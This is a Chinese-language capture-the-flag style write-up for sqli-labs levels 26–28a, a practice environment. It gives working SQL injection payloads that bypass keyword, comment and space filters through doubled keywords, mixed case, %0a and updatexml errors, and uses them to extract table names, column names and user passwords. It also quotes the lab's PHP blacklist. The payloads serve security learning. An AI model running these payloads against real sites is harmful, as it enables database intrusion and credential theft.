ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqli-labs(26-28a)

2021-07-28 19:36:10  阅读:224  来源: 互联网

标签:26 0x7e labs sqli table where id concat schema


26 报错注入-空格,or,and绕过

?id=1'#把#过滤了

image-20210728152516446

?id=1' and+++'1'='1,把空格,+,and过滤了

image-20210728152648904

?id=1' aanDnd '1'='2' oorr '1'='1双写绕过

image-20210728153324647

现在需要解决的是如何才能绕过空格过滤

在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题。

  • 使用两个空格替代空格

  • 用注释/**/替换空格

  • 用Tab键代替空格

  • 回车%a0=空格

  • %20 %09 %0a %0b %0c %0d %a0 %00

  • 括号()绕过空格:括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

试试()

爆库名?id=-1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1,看来()是有效的

image-20210728162413037

?id=-1'||updatexml (1,concat(0x7e,(select(concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1)||'1'='1

结果超过一行

image-20210728163705097

使用group_concat()将相同的名称的不同结果一行显示出来

?id=-1'||updatexml (1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1)||'1'='1

image-20210728163815114

爆字段名

?id=-1'||updatexml (1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),0x7e),1)||'1'='1

image-20210728164432738

看看源码,可以

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

26a Bool注入-空格,or,and绕过

不能报错注入了

image-20210728171532955

判断注入类型

?id=1

image-20210728172402129

?id=1"

image-20210728172519665

?id=1'没结果,为单引号字符型

image-20210728172413095

判断是否有括号

判断小括号有几种方法:

  1. 2'&&'1'='1
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1
  1. 1')||'1'=('1
    若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

?id=2

image-20210728172807300

?id=2'anandd'1'='1,返回1的查询结果,可见有()

image-20210728172833017

在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题。所以这关注入在windows上就有点难了。

采用bool注入

?id=2')%26%26length(database())>=8%26%26('1'='1

image-20210728173947783

?id=2')%26%26length(database())>=9%26%26('1'='1

image-20210728174059548

接下来就不演示了,标准的bool注入

27 报错注入-大小写混写绕过-单引号

?id=2'报错,单引号字符型

image-20210728174415368

?id=2'and '1'='1返回2的查询结果,无(),由提示看出空格被过滤了

image-20210728174354654

爆库名?id=2'and(updatexml(1,concat(0x7e,database(),0x7e),1)) and '1'='1

image-20210728174634564

题目说select被过滤了

大小写混写看能不能绕过

?id=-2'|| updatexml(1,concat(0x7e,(selEcT(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1)||'1'='1成功绕过

image-20210728175615900

爆字段名?id=-2'|| updatexml(1,concat(0x7e,(selEcT(group_concat(column_name))from(information_schema.columns)where(table_schema='security')),0x7e),1)||'1'='1

image-20210728175725798

爆密码?id=-2'|| updatexml(1,concat(0x7e,(selEcT(group_concat(password))from(security.users)),0x7e),1)||'1'='1

image-20210728180033920

27a Union查询-大小写绕过-双引号

?id=1'正常显示查询结果

?id=1"不显示,双引号字符型

%0a竟然能正确显示成空格,惊了

爆库名?id=0"%0aunIon%0aSelEct%0a3,database(),6%0a||"1"="1

image-20210728182518088

爆表名?id=0"%0aunIon%0aSelEct%0a3,(SelEct%0a(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),6%0a||"1"="1

image-20210728182907079

爆字段名?id=0"%0aunIon%0aSelEct%0a3,(SelEct%0a(group_concat(column_name))from(information_schema.columns)where(table_schema='security')),6%0a||"1"="1

image-20210728182935176

爆密码?id=0"%0aunIon%0aSelEct%0a3,(SelEct%0a(group_concat(password))from(security.users)),6%0a||"1"="1

image-20210728183036203

28 Union查询-双写绕过-单引号-括号

?id=2,?id=2"显示

?id=2'不显示

?id=2')||'1'=('1正确显示页面,说明有()

image-20210728184634242

?id=0')unIon%0asEleCt%0a3,5,9||('1'='1

把我的union select过滤了

image-20210728185617232

尝试双写

?id=0')unIunion%0aselecton%0asEleCt%0a3,database(),9||('1'='1成功绕过

image-20210728185804261

爆表名?id=0')unIunion%0aselecton%0asEleCt%0a3,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),9||('1'='1

image-20210728185927331

爆字段名?id=0')unIunion%0aselecton%0asEleCt%0a3,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='security')),9||('1'='1

image-20210728190017860

爆密码?id=0')unIunion%0aselecton%0asEleCt%0a3,(select(group_concat(password))from(security.users)),9||('1'='1

image-20210728190130823

28a Union查询-双写绕过-单引号-括号

?id=2"正常显示

image-20210728190559749

?id=2'不显示,单引号字符型

?id=2'and'1'='1显示1的查询结果,表明带()

image-20210728190609567

?id=2')order by 3--+竟然不过滤括号和注释符了,顿时感觉很舒服

image-20210728191144558

?id=2')union select 2,4,6--+,union select被过滤

image-20210728191307462

尝试双写?id=0')uniunion selecton select 2,database(),6--+,显示成功

image-20210728191411255

接下来就是和28一样的操作了,不再继续

看看源码

id加了()

image-20210728191752046

只过滤了union select

image-20210728191818251

标签:26,0x7e,labs,sqli,table,where,id,concat,schema
来源: https://www.cnblogs.com/AlucardLink/p/15072197.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有